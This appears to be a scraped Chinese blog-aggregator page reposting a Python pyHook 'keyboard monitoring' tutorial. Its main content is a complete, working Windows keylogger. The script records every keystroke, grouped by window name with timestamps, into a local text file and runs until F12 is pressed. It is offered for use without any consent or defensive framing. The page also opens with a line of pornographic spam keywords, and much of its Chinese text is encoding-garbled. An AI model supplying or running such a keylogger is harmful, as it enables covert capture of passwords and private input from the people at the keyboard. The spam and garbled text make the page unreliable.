日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python hook教程_python中使用pyhook实现键盘监控的例子

發(fā)布時間:2025/4/17 python 58 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python hook教程_python中使用pyhook实现键盘监控的例子 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

# -*- coding: cp936 -*-

import pythoncom

import pyHook

import time

import win32api

t=''

asciistr=''

keystr=''

def onKeyboardEvent(event):

global t,asciistr,keystr

filename='d://test.txt'

wrfile=open(filename,'ab')

"處理鍵盤事件"

if t==str(event.WindowName):

asciistr=asciistr+chr(event.Ascii)

keystr=keystr+str(event.Key)

else:

t=str(event.WindowName)

if asciistr=='' and keystr=='':

wrfile.writelines("\nWindow:%s\n" % str(event.Window))

wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當前窗體名

wrfile.writelines("MessageName:%s\n" % str(event.MessageName))

wrfile.writelines("Message:%d\n" % event.Message)

wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

else:

wrfile.writelines("Ascii_char:%s\n" %asciistr)

wrfile.writelines("Key_char:%s\n" %keystr)

wrfile.writelines("\nWindow:%s\n" % str(event.Window))

wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當前窗體名

wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

asciistr=chr(event.Ascii)

keystr=str(event.Key)

if str(event.Key)=='F12': #按下F12后終止

wrfile.writelines("Ascii_char:%s\n" %asciistr)

wrfile.writelines("Key_char:%s\n" %keystr)

wrfile.close()

win32api.PostQuitMessage()

return True

if __name__ == "__main__":

#創(chuàng)建hook句柄

hm = pyHook.HookManager()

#監(jiān)控鍵盤

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

#循環(huán)獲取消息

pythoncom.PumpMessages(10000)

本文原創(chuàng)發(fā)布php中文網(wǎng),轉(zhuǎn)載請注明出處,感謝您的尊重!

總結

以上是生活随笔為你收集整理的python hook教程_python中使用pyhook实现键盘监控的例子的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。